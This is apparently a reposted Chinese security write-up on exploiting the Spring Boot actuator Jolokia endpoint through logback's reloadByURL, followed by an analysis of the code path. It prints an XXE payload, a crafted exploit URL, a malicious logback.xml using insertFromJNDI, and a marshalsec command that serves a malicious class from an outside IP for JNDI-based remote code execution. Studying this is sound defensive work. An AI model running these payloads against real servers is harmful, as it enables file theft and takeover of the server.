Spring actuator Jolokia XXE RCE

    科技2024-12-26  4

    Spring actuator Jolokia XXE RCE

    Jolokia允许通过HTTP访问所有已注册的MBean,同时可以使用URL列出所有可用的MBeans操作,访问http://127.0.0.1:8090/jolokia/list即可列出,如下为返回:

    格式化后logback Mbean

    jolokia在logback JMXConfigurator中提供的“reloadByURL”方法允许从外部URL重新加载日志的记录配置

    官网给出了GET和POST两种方式的访问路径以及参数:

     

     

    XXE利用:

    搭建简单HTTP服务器,用于下载logback.xml(本机1337端口开启服务)

    <?xml version="1.0" encoding="utf-8" ?>  <!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://127.0.0.1:8080/file.dtd">%remote;%int;]>  <a>&trick;</a>  

    file.dtd(8080端口开启服务)

    最终访问:

    http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:1337!/logback.xml

    Mbean name:

    ch.qos.logback.classic:name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/ Operation: reloadByUrl Params: http:!/!/127.0.0.1!/logback.xml

    获取到D:/hello.txt的内容:

     

    RCE利用:

    直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容目标机器使用 saxParser.parse 解析 xml 文件 (xxe)xml 文件中利用 logback 依赖的 insertFormJNDI 标签,允许访问外部 JNDI 服务器地址目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞

    首先服务器上创建可以远程访问的xml文件,logback.xml:

    <configuration>   <insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" /> </configuration>

    在此处开启服务,使得xml可以被远程获取到

     

    服务器上解析此xml文件时,它会创建与“env-entry-name”参数值中指定的攻击者LDAP/RMI服务器的连接,从而导致JNDI进行解析

    同时需要创建JNDI服务:

    使用marshalsec工具可以方便地创建JNDI服务:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://46.110.60.232:8880/#JNDIObject 1097

     

    其中JNDIObject类为恶意执行类,当调用RMI服务后会进行代码执行

    RMI核心特点之一就是动态加载类,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class.  RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类)

    JNDI解析后,进行恶意RMI远程类调用:

    此处由于JDK版本问题,未能反弹shell

     

    调用链:

    首先在JolokiaMvcEndpoint类中设置了根路径为/jolokia

    后续路径为任何(/**)时,都会由handle方法进行处理:

     

    下一步会进到handleRequest

    进入handleRequestInternalà servletInstance.service

    进入doGet方法:

    接下来为handle处理HttpRequest请求,进入handleGetRequest方法:

    此方法会对传入的Uri和pPathinfo进行解析(含有对/的过滤)以及jmx请求的构造:

    JmxReq = JmxRequestFactory.createGetRequest是通过 JmxRequestFactory 类创建一个 JmxRequest 的子类(如果请求的类别在 CREATOR_MAP 存在,就会创建对应的子类)

    子类对象构造后如下:

    通过operation和argument等参数进行jmx的服务访问

    HandleRequest中建立MBeanServer同时传入JmxReq请求参数:

    到reloadByURL中执行:

    跟进doConfigure:建立连接

    doConfigure:

    外部Xml成功传入,执行saxParser 成功读取到文件内容:

    参考:https://xz.aliyun.com/t/4258

     

    Processed: 0.044, SQL: 8